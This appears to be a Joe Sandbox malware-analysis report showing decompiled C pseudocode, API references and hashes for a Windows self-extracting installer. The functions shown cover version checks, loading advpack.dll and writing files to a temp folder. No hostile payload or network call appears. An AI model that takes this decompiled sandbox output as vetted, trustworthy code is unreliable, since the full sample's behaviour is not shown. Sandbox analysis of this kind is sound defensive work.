							__eflags = _t132 -  *((intOrPtr*)(_t109 + _t115 + 0x14));
							goto L27;
							L33:
							_t135 =  &(_t135[1]);
							_v428 = _t135;
							_v420 = _t135;
							__eflags = _t135 - 2;
						} while (_t135 < 2);
						goto L36;
					}
					__eflags = _t77 == 1;
					if(_t77 == 1) {
						 *0x11d9a40 = _t119;
						 *0x11d8184 = 1;
						 *0x11d8180 = 1;
						__eflags = _t133 - 3;
						if(_t133 > 3) {
							__eflags = _t133 - 5;
							if(_t133 < 5) {
								goto L14;
							}
							_t113 = 3;
							_t119 = _t113;
							goto L13;
						}
						_t119 = 1;
						_t114 = 3;
						 *0x11d9a40 = 1;
						__eflags = _t133 - _t114;
						if(__eflags < 0) {
							L9:
							 *0x11d8184 = _t135;
							 *0x11d8180 = _t135;
							goto L14;
						}
						if(__eflags != 0) {
							goto L14;
						}
						__eflags = _v416.dwMinorVersion - 0x33;
						if(_v416.dwMinorVersion >= 0x33) {
							goto L14;
						}
						goto L9;
					}
					_t138 = 0x4ca;
					goto L44;
				} else {
					_t138 = 0x4b4;
					L44:
					_push(_t135);
					_push(0x10);
					_push(_t135);
					_push(_t135);
					L65:
					_t133 = _t138;
					E011D44B9(0, _t138);
					L66:
					return E011D6CE0(0 | _t138 == 0x00000000, _t115, _v8 ^ _t139, _t133, _t135, _t138);
				}
			}

0x011d36f9
0x011d3700
0x011d370c
0x011d3716
0x011d3718
0x011d371b
0x011d3721
0x011d372b
0x011d373d
0x011d3745
0x011d3746
0x011d3746
0x011d3749
0x011d37ab
0x011d37ad
0x011d37ae
0x011d37b3
0x011d37b8
0x011d37b8
0x011d37bf
0x011d37bf
0x011d37c5
0x00000000
0x00000000
0x011d37cb
0x011d37cd
0x00000000
0x00000000
0x011d37d5
0x011d37db
0x011d37e8
0x011d37ea
0x011d37ea
0x011d37ea
0x011d37f0
0x011d37f6
0x011d3805
0x011d3817
0x011d382b
0x011d3830
0x011d3836
0x011d383b
0x011d383d
0x011d38eb
0x011d38eb
0x011d38f2
0x011d390c
0x011d3911
0x011d3911
0x011d3913
0x011d394d
0x011d394d
0x011d394f
0x011d38a9
0x011d38a9
0x011d38b0
0x011d38b2
0x011d38b9
0x011d38bb
0x011d38c1
0x011d3975
0x011d38c7
0x011d38de
0x011d38e0
0x011d38e0
0x011d397b
0x011d397d
0x011d39a9
0x011d397f
0x011d3982
0x011d398b
0x011d398d
0x011d398f
0x011d399f
0x011d39a1
0x011d3991
0x011d3991
0x011d3991
0x011d398f
0x011d39af
0x011d39b6
0x011d3a0f
0x011d3a0f
0x011d3a11
0x011d3a13
0x011d3a19
0x00000000
0x011d39b8
0x011d39b8
0x011d39ba
0x00000000
0x00000000
0x011d39bc
0x011d39bf
0x00000000
0x00000000
0x011d39c3
0x011d39c9
0x011d39ce
0x011d39d0
0x011d39e3
0x011d39e5
0x011d39e6
0x011d39f1
0x011d39f7
0x011d39fa
0x011d3a01
0x011d3a04
0x00000000
0x00000000
0x011d3a06
0x011d3a09
0x011d3a09
0x011d3a0b
0x011d3a0b
0x00000000
0x011d3a09
0x011d39fc
0x00000000
0x011d39fc
0x011d39d3
0x011d39d8
0x011d39da
0x00000000
0x00000000
0x00000000
0x011d39dc
0x011d39b6
0x011d3955
0x011d395b
0x00000000
0x00000000
0x011d3961
0x011d3963
0x00000000
0x00000000
0x011d3969
0x011d3969
0x00000000
0x011d3969
0x011d3915
0x011d3915
0x011d391b
0x011d391f
0x00000000
0x00000000
0x011d392d
0x011d3933
0x011d3938
0x011d393a
0x00000000
0x00000000
0x011d3940
0x011d3946
0x011d394b
0x00000000
0x011d394b
0x00000000
0x011d38f2
0x011d3843
0x011d3845
0x00000000
0x00000000
0x011d384b
0x011d384d
0x011d3883
0x011d3885
0x00000000
0x00000000
0x011d389a
0x011d389e
0x011d389e
0x00000000
0x00000000
0x011d38a0
0x011d38a0
0x011d38a2
0x00000000
0x00000000
0x011d38a4
0x00000000
0x011d38a4
0x011d384f
0x011d3851
0x011d3857
0x011d386e
0x011d3877
0x011d387b
0x00000000
0x00000000
0x00000000
0x011d3881
0x011d3859
0x011d385c
0x011d3862
0x011d3866
0x00000000
0x00000000
0x011d3868
0x00000000
0x011d38f4
0x011d38f4
0x011d38f5
0x011d38fb
0x011d3901
0x011d3901
0x00000000
0x011d390a
0x011d374b
0x011d374e
0x011d375c
0x011d3764
0x011d3769
0x011d376e
0x011d3771
0x011d379c
0x011d379f
0x00000000
0x00000000
0x011d37a3
0x011d37a4
0x00000000
0x011d37a4
0x011d3773
0x011d3777
0x011d3778
0x011d377f
0x011d3781
0x011d378e
0x011d378e
0x011d3794
0x00000000
0x011d3794
0x011d3783
0x00000000
0x00000000
0x011d3785
0x011d378c
0x00000000
0x00000000
0x00000000
0x011d378c
0x011d3750
0x00000000
0x011d372d
0x011d372d
0x011d396b
0x011d396b
0x011d396c
0x011d396e
0x011d396f
0x011d3a1e
0x011d3a1e
0x011d3a22
0x011d3a27
0x011d3a3e
0x011d3a3e

APIs

GetVersionExA.KERNEL32(?,00000000,?,?), ref: 011D3723
MessageBeep.USER32(00000000), ref: 011D39C3
MessageBoxA.USER32(00000000,00000000,lenta,00000030), ref: 011D39F1

Strings

3, xrefs: 011D3785
lenta, xrefs: 011D39E9, 011D3A19

Memory Dump Source

Source File: 00000000.00000002.403676389.00000000011D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 011D0000, based on PE: true

Associated: 00000000.00000002.403646115.00000000011D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403686161.00000000011D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11d0000_file.jbxd

Similarity

API ID: Message$BeepVersion
String ID: 3$lenta
API String ID: 2519184315-4216304122
Opcode ID: 21bd32437bc162f3de14cabeb84241e920b05ba456f8c0dfc6cebee449ca9da8
Instruction ID: a844b60666d9946c60e3a7c18ae3db8c347781d7e9a0b6549882fdba3e923fb0
Opcode Fuzzy Hash: 21bd32437bc162f3de14cabeb84241e920b05ba456f8c0dfc6cebee449ca9da8
Instruction Fuzzy Hash: 1C91D5F1F222259FEB7D8A29CC81BAAB7B1FB45304F0601A9C969D7245D7748981CB43

Uniqueness

Uniqueness Score: -1.00%

Function 011D6495 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 41
libraryCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E011D6495(void* __ebx, void* __ecx, void* __esi, void* __eflags) {
				signed int _v8;
				char _v268;
				void* __edi;
				signed int _t9;
				signed char _t14;
				struct HINSTANCE__* _t15;
				void* _t18;
				CHAR* _t26;
				void* _t27;
				signed int _t28;

				_t27 = __esi;
				_t18 = __ebx;
				_t9 =  *0x11d8004; // 0xdc3102d5
				_v8 = _t9 ^ _t28;
				_push(__ecx);
				E011D1781( &_v268, 0x104, __ecx, "C:\Users\hardz\AppData\Local\Temp\IXP000.TMP\");
				_t26 = "advpack.dll";
				E011D658A( &_v268, 0x104, _t26);
				_t14 = GetFileAttributesA( &_v268);
				if(_t14 == 0xffffffff || (_t14 & 0x00000010) != 0) {
					_t15 = LoadLibraryA(_t26);
				} else {
					_t15 = LoadLibraryExA( &_v268, 0, 8);
				}
				return E011D6CE0(_t15, _t18, _v8 ^ _t28, 0x104, _t26, _t27);
			}

0x011d6495
0x011d6495
0x011d64a0
0x011d64a7
0x011d64ab
0x011d64bd
0x011d64c2
0x011d64d3
0x011d64df
0x011d64e8
0x011d6502
0x011d64ee
0x011d64f9
0x011d64f9
0x011d6516

APIs

GetFileAttributesA.KERNEL32(?,advpack.dll,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,00000000), ref: 011D64DF
LoadLibraryExA.KERNEL32(?,00000000,00000008,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,00000000), ref: 011D64F9
LoadLibraryA.KERNEL32(advpack.dll,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,00000000), ref: 011D6502

Strings

advpack.dll, xrefs: 011D64C2, 011D64CD, 011D6501
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 011D64AC

Memory Dump Source

Source File: 00000000.00000002.403676389.00000000011D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 011D0000, based on PE: true

Associated: 00000000.00000002.403646115.00000000011D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403686161.00000000011D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11d0000_file.jbxd

Similarity

API ID: LibraryLoad$AttributesFile
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\$advpack.dll
API String ID: 438848745-258089097
Opcode ID: 13f1b8a6e6d4b158adee3d9f7d9dae4ab726783d113b5d41673e79ecd565acbb
Instruction ID: 3cf43d6199e27c2338b17f2e596358502279f5eea5c1199464b59056f01965b2
Opcode Fuzzy Hash: 13f1b8a6e6d4b158adee3d9f7d9dae4ab726783d113b5d41673e79ecd565acbb
Instruction Fuzzy Hash: 3A01D170A01108ABDB2CEB74EC48EEA7778EB60314F8001A9E595931C4DF709AC6CB51

Uniqueness

Uniqueness Score: -1.00%

Function 011D28E8 Relevance: 7.6, APIs: 5, Instructions: 140
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E011D28E8(intOrPtr __ecx, char* __edx, intOrPtr* _a8) {
				void* _v8;
				char* _v12;
				intOrPtr _v16;
				void* _v20;
				intOrPtr _v24;
				int _v28;
				int _v32;
				void* _v36;
				int _v40;
				void* _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				long _t68;
				void* _t70;
				void* _t73;
				void* _t79;
				void* _t83;
				void* _t87;
				void* _t88;
				intOrPtr _t93;
				intOrPtr _t97;
				intOrPtr _t99;
				int _t101;
				void* _t103;
				void* _t106;
				void* _t109;
				void* _t110;

				_v12 = __edx;
				_t99 = __ecx;
				_t106 = 0;
				_v16 = __ecx;
				_t87 = 0;
				_t103 = 0;
				_v20 = 0;
				if( *((intOrPtr*)(__ecx + 0x7c)) <= 0) {
					L19:
					_t106 = 1;
				} else {
					_t62 = 0;
					_v8 = 0;
					while(1) {
						_v24 =  *((intOrPtr*)(_t99 + 0x80));
						if(E011D2773(_v12,  *((intOrPtr*)(_t62 + _t99 +  *((intOrPtr*)(_t99 + 0x80)) + 0xbc)) + _t99 + 0x84) == 0) {
							goto L20;
						}
						_t68 = GetFileVersionInfoSizeA(_v12,  &_v32);
						_v28 = _t68;
						if(_t68 == 0) {
							_t99 = _v16;
							_t70 = _v8 + _t99;
							_t93 = _v24;
							_t87 = _v20;
							if( *((intOrPtr*)(_t70 + _t93 + 0x84)) == _t106 &&  *((intOrPtr*)(_t70 + _t93 + 0x88)) == _t106) {
								goto L18;
							}
						} else {
							_t103 = GlobalAlloc(0x42, _t68);
							if(_t103 != 0) {
								_t73 = GlobalLock(_t103);
								_v36 = _t73;
								if(_t73 != 0) {
									if(GetFileVersionInfoA(_v12, _v32, _v28, _t73) == 0 || VerQueryValueA(_v36, "\\",  &_v44,  &_v40) == 0 || _v40 == 0) {
										L15:
										GlobalUnlock(_t103);
										_t99 = _v16;
										L18:
										_t87 = _t87 + 1;
										_t62 = _v8 + 0x3c;
										_v20 = _t87;
										_v8 = _v8 + 0x3c;
										if(_t87 <  *((intOrPtr*)(_t99 + 0x7c))) {
											continue;
										} else {
											goto L19;
										}
									} else {
										_t79 = _v44;
										_t88 = _t106;
										_v28 =  *((intOrPtr*)(_t79 + 0xc));
										_t101 = _v28;
										_v48 =  *((intOrPtr*)(_t79 + 8));
										_t83 = _v8 + _v16 + _v24 + 0x94;
										_t97 = _v48;
										_v36 = _t83;
										_t109 = _t83;
										do {
											 *((intOrPtr*)(_t110 + _t88 - 0x34)) = E011D2A89(_t97, _t101,  *((intOrPtr*)(_t109 - 0x10)),  *((intOrPtr*)(_t109 - 0xc)));
											 *((intOrPtr*)(_t110 + _t88 - 0x3c)) = E011D2A89(_t97, _t101,  *((intOrPtr*)(_t109 - 4)),  *_t109);
											_t109 = _t109 + 0x18;
											_t88 = _t88 + 4;
										} while (_t88 < 8);
										_t87 = _v20;
										_t106 = 0;
										if(_v56 < 0 || _v64 > 0) {
											if(_v52 < _t106 || _v60 > _t106) {
												GlobalUnlock(_t103);
											} else {
												goto L15;
											}
										} else {
											goto L15;
										}
									}
								}
							}
						}
						goto L20;
					}
				}
				L20:
				 *_a8 = _t87;
				if(_t103 != 0) {
					GlobalFree(_t103);
				}
				return _t106;
			}

0x011d28f1
0x011d28f4
0x011d28f7
0x011d28f9
0x011d28fc
0x011d28ff
0x011d2901
0x011d2907
0x011d2a62
0x011d2a64
0x011d290d
0x011d290d
0x011d290f
0x011d2912
0x011d2920
0x011d2937
0x00000000
0x00000000
0x011d2944
0x011d294a
0x011d294f
0x011d2a2f
0x011d2a32
0x011d2a34
0x011d2a37
0x011d2a41
0x00000000
0x00000000
0x011d2955
0x011d295e
0x011d2962
0x011d2969
0x011d296f
0x011d2974
0x011d298c
0x011d2a20
0x011d2a21
0x011d2a27
0x011d2a4c
0x011d2a4f
0x011d2a50
0x011d2a53
0x011d2a56
0x011d2a5c
0x00000000
0x00000000
0x00000000
0x00000000
0x011d29b2
0x011d29b2
0x011d29b5
0x011d29bd
0x011d29c3
0x011d29cc
0x011d29d5
0x011d29d7
0x011d29da
0x011d29dd
0x011d29df
0x011d29ec
0x011d29f8
0x011d29fc
0x011d29ff
0x011d2a02
0x011d2a07
0x011d2a0a
0x011d2a0f
0x011d2a19
0x011d2a81
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x011d2a0f
0x011d298c
0x011d2974
0x011d2962
0x00000000
0x011d294f
0x011d2912
0x011d2a65
0x011d2a68
0x011d2a6c
0x011d2a6f
0x011d2a6f
0x011d2a7d

APIs

GlobalFree.KERNEL32 ref: 011D2A6F

Part of subcall function 011D2773: CharUpperA.USER32(DC3102D5,00000000,00000000,00000000), ref: 011D27A8
Part of subcall function 011D2773: CharNextA.USER32(0000054D), ref: 011D27B5
Part of subcall function 011D2773: CharNextA.USER32(00000000), ref: 011D27BC
Part of subcall function 011D2773: RegOpenKeyExA.ADVAPI32(80000002,?,00000000,00020019,?,?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 011D2829
Part of subcall function 011D2773: RegQueryValueExA.ADVAPI32(?,011D1140,00000000,?,-00000005,?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 011D2852
Part of subcall function 011D2773: ExpandEnvironmentStringsA.KERNEL32(-00000005,?,00000104,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 011D2870
Part of subcall function 011D2773: RegCloseKey.ADVAPI32(?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 011D28A0

GlobalAlloc.KERNEL32(00000042,00000000,?,?,?,?,?,?,?,?,011D3938,?,?,?,?,-00000005), ref: 011D2958
GlobalLock.KERNEL32 ref: 011D2969
GlobalUnlock.KERNEL32(00000000,?,?,?,?,?,?,?,?,011D3938,?,?,?,?,-00000005,?), ref: 011D2A21
GlobalUnlock.KERNEL32(00000000,?,?,?,?), ref: 011D2A81

Memory Dump Source

Source File: 00000000.00000002.403676389.00000000011D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 011D0000, based on PE: true

Associated: 00000000.00000002.403646115.00000000011D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403686161.00000000011D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11d0000_file.jbxd

Similarity

API ID: Global$Char$NextUnlock$AllocCloseEnvironmentExpandFreeLockOpenQueryStringsUpperValue
String ID:
API String ID: 3949799724-0
Opcode ID: b79f1e0633f31ebbecc0503bd24b85414ee72edbeeb5664695caaa043b508589
Instruction ID: e0ce70fd19471a71ea47a78e1171a0336329a8b287f2203daa62cf85164d47f3
Opcode Fuzzy Hash: b79f1e0633f31ebbecc0503bd24b85414ee72edbeeb5664695caaa043b508589
Instruction Fuzzy Hash: 74514E31D01229DFDB29DF98D884AAEFBB5FF48705F14412AE925E3211D7319941CF91

Uniqueness

Uniqueness Score: -1.00%

Function 011D47E0 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 64
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E011D47E0(intOrPtr* __ecx) {
				intOrPtr _t6;
				intOrPtr _t9;
				void* _t11;
				void* _t19;
				intOrPtr* _t22;
				void _t24;
				struct HWND__* _t25;
				struct HWND__* _t26;
				void* _t27;
				intOrPtr* _t28;
				intOrPtr* _t33;
				void* _t34;

				_t33 = __ecx;
				_t34 = LocalAlloc(0x40, 8);
				if(_t34 != 0) {
					_t22 = _t33;
					_t27 = _t22 + 1;
					do {
						_t6 =  *_t22;
						_t22 = _t22 + 1;
					} while (_t6 != 0);
					_t24 = LocalAlloc(0x40, _t22 - _t27 + 1);
					 *_t34 = _t24;
					if(_t24 != 0) {
						_t28 = _t33;
						_t19 = _t28 + 1;
						do {
							_t9 =  *_t28;
							_t28 = _t28 + 1;
						} while (_t9 != 0);
						E011D1680(_t24, _t28 - _t19 + 1, _t33);
						_t11 =  *0x11d91e0; // 0xec7270
						 *(_t34 + 4) = _t11;
						 *0x11d91e0 = _t34;
						return 1;
					}
					_t25 =  *0x11d8584; // 0x0
					E011D44B9(_t25, 0x4b5, _t8, _t8, 0x10, _t8);
					LocalFree(_t34);
					L2:
					return 0;
				}
				_t26 =  *0x11d8584; // 0x0
				E011D44B9(_t26, 0x4b5, _t5, _t5, 0x10, _t5);
				goto L2;
			}

0x011d47e8
0x011d47f0
0x011d47f4
0x011d480f
0x011d4811
0x011d4814
0x011d4814
0x011d4816
0x011d4817
0x011d4829
0x011d482b
0x011d482f
0x011d484f
0x011d4852
0x011d4855
0x011d4855
0x011d4857
0x011d4858
0x011d4860
0x011d4865
0x011d486a
0x011d486f
0x00000000
0x011d4876
0x011d4831
0x011d4841
0x011d4847
0x011d480b
0x00000000
0x011d480b
0x011d47f6
0x011d4806
0x00000000

APIs

LocalAlloc.KERNEL32(00000040,00000008,?,00000000,011D4E6F), ref: 011D47EA
LocalAlloc.KERNEL32(00000040,?), ref: 011D4823
LocalFree.KERNEL32(00000000,00000000,00000000,00000010,00000000), ref: 011D4847

Part of subcall function 011D44B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 011D4518
Part of subcall function 011D44B9: MessageBoxA.USER32(?,?,lenta,00010010), ref: 011D4554

Strings

pr, xrefs: 011D4865, 011D486F
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 011D4851

Memory Dump Source

Source File: 00000000.00000002.403676389.00000000011D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 011D0000, based on PE: true

Associated: 00000000.00000002.403646115.00000000011D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403686161.00000000011D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11d0000_file.jbxd

Similarity

API ID: Local$Alloc$FreeLoadMessageString
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\$pr
API String ID: 359063898-931104669
Opcode ID: d4d6e80450ea0ea05e2536021648b201d16906923d08d6f9dfc84d4573e20dcf
Instruction ID: 1a5869132e575057ea66705c6f5e33088773812df3fe4041c3cf5ed97b1d6309
Opcode Fuzzy Hash: d4d6e80450ea0ea05e2536021648b201d16906923d08d6f9dfc84d4573e20dcf
Instruction Fuzzy Hash: 851159742026026FD72D8E74E818F733B6AEB85380B048528E98287B49CB359842C760

Uniqueness

Uniqueness Score: -1.00%

Function 011D4169 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 55
memoryCOMMON

Download Yara Rule

C-Code - Quality: 32%

			E011D4169(void* __eflags) {
				int _t18;
				void* _t21;

				_t20 = E011D468F("FINISHMSG", 0, 0);
				_t21 = LocalAlloc(0x40, 4 + _t3 * 4);
				if(_t21 != 0) {
					if(E011D468F("FINISHMSG", _t21, _t20) != 0) {
						if(lstrcmpA(_t21, "<None>") == 0) {
							L7:
							return LocalFree(_t21);
						}
						_push(0);
						_push(0x40);
						_push(0);
						_push(_t21);
						_t18 = 0x3e9;
						L6:
						E011D44B9(0, _t18);
						goto L7;
					}
					_push(0);
					_push(0x10);
					_push(0);
					_push(0);
					_t18 = 0x4b1;
					goto L6;
				}
				return E011D44B9(0, 0x4b5, 0, 0, 0x10, 0);
			}

0x011d417d
0x011d418f
0x011d4193
0x011d41b7
0x011d41d3
0x011d41e6
0x00000000
0x011d41e7
0x011d41d5
0x011d41d6
0x011d41d8
0x011d41d9
0x011d41da
0x011d41df
0x011d41e1
0x00000000
0x011d41e1
0x011d41b9
0x011d41ba
0x011d41bc
0x011d41bd
0x011d41be
0x00000000
0x011d41be
0x00000000

APIs

Part of subcall function 011D468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 011D46A0
Part of subcall function 011D468F: SizeofResource.KERNEL32(00000000,00000000,?,011D2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 011D46A9
Part of subcall function 011D468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 011D46C3
Part of subcall function 011D468F: LoadResource.KERNEL32(00000000,00000000,?,011D2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 011D46CC
Part of subcall function 011D468F: LockResource.KERNEL32(00000000,?,011D2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 011D46D3
Part of subcall function 011D468F: memcpy_s.MSVCRT ref: 011D46E5
Part of subcall function 011D468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 011D46EF

LocalAlloc.KERNEL32(00000040,?,00000000,00000000,00000105,00000000,011D30B4), ref: 011D4189
LocalFree.KERNEL32(00000000,?,00000000,00000000,00000105,00000000,011D30B4), ref: 011D41E7

Part of subcall function 011D44B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 011D4518
Part of subcall function 011D44B9: MessageBoxA.USER32(?,?,lenta,00010010), ref: 011D4554

Strings

<None>, xrefs: 011D41C5
FINISHMSG, xrefs: 011D4173, 011D41AB

Memory Dump Source

Source File: 00000000.00000002.403676389.00000000011D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 011D0000, based on PE: true

Associated: 00000000.00000002.403646115.00000000011D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403686161.00000000011D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11d0000_file.jbxd

Similarity

API ID: Resource$FindFreeLoadLocal$AllocLockMessageSizeofStringmemcpy_s
String ID: <None>$FINISHMSG
API String ID: 3507850446-3091758298
Opcode ID: 015c69582964f99e6453d8ff95b0b4c9f0604138b0c3c32ffec29f9dd9ddc0d3
Instruction ID: 8bfaaab32cc85bfea9b1c4520780c31d605b0e87f55ea478eb1aed71d8002821
Opcode Fuzzy Hash: 015c69582964f99e6453d8ff95b0b4c9f0604138b0c3c32ffec29f9dd9ddc0d3
Instruction Fuzzy Hash: 9D01ADA13012257BF32D2A799C85F7B658EDB94699F014025B706E2D84DB78EC0141B5

Uniqueness

Uniqueness Score: -1.00%

Function 011D19E0 Relevance: 7.6, APIs: 5, Instructions: 51
windowCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E011D19E0(void* __ebx, void* __edi, struct HWND__* _a4, intOrPtr _a8, int _a12, int _a16) {
				signed int _v8;
				char _v520;
				void* __esi;
				signed int _t11;
				void* _t14;
				void* _t23;
				void* _t27;
				void* _t33;
				struct HWND__* _t34;
				signed int _t35;

				_t33 = __edi;
				_t27 = __ebx;
				_t11 =  *0x11d8004; // 0xdc3102d5
				_v8 = _t11 ^ _t35;
				_t34 = _a4;
				_t14 = _a8 - 0x110;
				if(_t14 == 0) {
					_t32 = GetDesktopWindow();
					E011D43D0(_t34, _t15);
					_v520 = 0;
					LoadStringA( *0x11d9a3c, _a16,  &_v520, 0x200);
					SetDlgItemTextA(_t34, 0x83f,  &_v520);
					MessageBeep(0xffffffff);
					goto L6;
				} else {
					if(_t14 != 1) {
						L4:
						_t23 = 0;
					} else {
						_t32 = _a12;
						if(_t32 - 0x83d > 1) {
							goto L4;
						} else {
							EndDialog(_t34, _t32);
							L6:
							_t23 = 1;
						}
					}
				}
				return E011D6CE0(_t23, _t27, _v8 ^ _t35, _t32, _t33, _t34);
			}

0x011d19e0
0x011d19e0
0x011d19eb
0x011d19f2
0x011d19f9
0x011d19fc
0x011d1a01
0x011d1a2a
0x011d1a2e
0x011d1a3e
0x011d1a4f
0x011d1a62
0x011d1a6a
0x00000000
0x011d1a03
0x011d1a06
0x011d1a20
0x011d1a20
0x011d1a08
0x011d1a08
0x011d1a14
0x00000000
0x011d1a16
0x011d1a18
0x011d1a70
0x011d1a72
0x011d1a72
0x011d1a14
0x011d1a06
0x011d1a81

APIs

EndDialog.USER32(?,?), ref: 011D1A18
GetDesktopWindow.USER32 ref: 011D1A24
LoadStringA.USER32(?,?,00000200), ref: 011D1A4F
SetDlgItemTextA.USER32(?,0000083F,00000000), ref: 011D1A62
MessageBeep.USER32(000000FF), ref: 011D1A6A

Memory Dump Source

Source File: 00000000.00000002.403676389.00000000011D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 011D0000, based on PE: true

Associated: 00000000.00000002.403646115.00000000011D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403686161.00000000011D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11d0000_file.jbxd

Similarity

API ID: BeepDesktopDialogItemLoadMessageStringTextWindow
String ID:
API String ID: 1273765764-0
Opcode ID: 20b9de779fe8610bf306d18e3dc8387effd785fcbdb0b1ae7a859e0fa1e00d25
Instruction ID: dbd0ca8c42cbcdc6a87deb064ff0a51d8041826c8214a04b3f18404993688e4b
Opcode Fuzzy Hash: 20b9de779fe8610bf306d18e3dc8387effd785fcbdb0b1ae7a859e0fa1e00d25
Instruction Fuzzy Hash: 4311C83150216AAFDB28EF78ED48BAE77F8EF49340F004164E522D3185DB309E41CB96

Uniqueness

Uniqueness Score: -1.00%

Function 011D63C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 69
fileCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E011D63C0(void* __ecx, void* __eflags, long _a4, intOrPtr _a12, void* _a16) {
				signed int _v8;
				char _v268;
				long _v272;
				void* _v276;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t15;
				long _t28;
				struct _OVERLAPPED* _t37;
				void* _t39;
				signed int _t40;

				_t15 =  *0x11d8004; // 0xdc3102d5
				_v8 = _t15 ^ _t40;
				_v272 = _v272 & 0x00000000;
				_push(__ecx);
				_v276 = _a16;
				_t37 = 1;
				E011D1781( &_v268, 0x104, __ecx, "C:\Users\hardz\AppData\Local\Temp\IXP000.TMP\");
				E011D658A( &_v268, 0x104, _a12);
				_t28 = 0;
				_t39 = CreateFileA( &_v268, 0x40000000, 0, 0, 2, 0x80, 0);
				if(_t39 != 0xffffffff) {
					_t28 = _a4;
					if(WriteFile(_t39, _v276, _t28,  &_v272, 0) == 0 || _t28 != _v272) {
						 *0x11d9124 = 0x80070052;
						_t37 = 0;
					}
					CloseHandle(_t39);
				} else {
					 *0x11d9124 = 0x80070052;
					_t37 = 0;
				}
				return E011D6CE0(_t37, _t28, _v8 ^ _t40, 0x104, _t37, _t39);
			}

0x011d63cb
0x011d63d2
0x011d63d8
0x011d63ea
0x011d63f3
0x011d6401
0x011d6402
0x011d6410
0x011d6415
0x011d6433
0x011d6438
0x011d6449
0x011d6463
0x011d646d
0x011d6477
0x011d6477
0x011d647a
0x011d643a
0x011d643a
0x011d6444
0x011d6444
0x011d6492

APIs

CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\), ref: 011D642D
WriteFile.KERNEL32(00000000,?,?,00000000,00000000,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\), ref: 011D645B
CloseHandle.KERNEL32(00000000,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\), ref: 011D647A

Strings

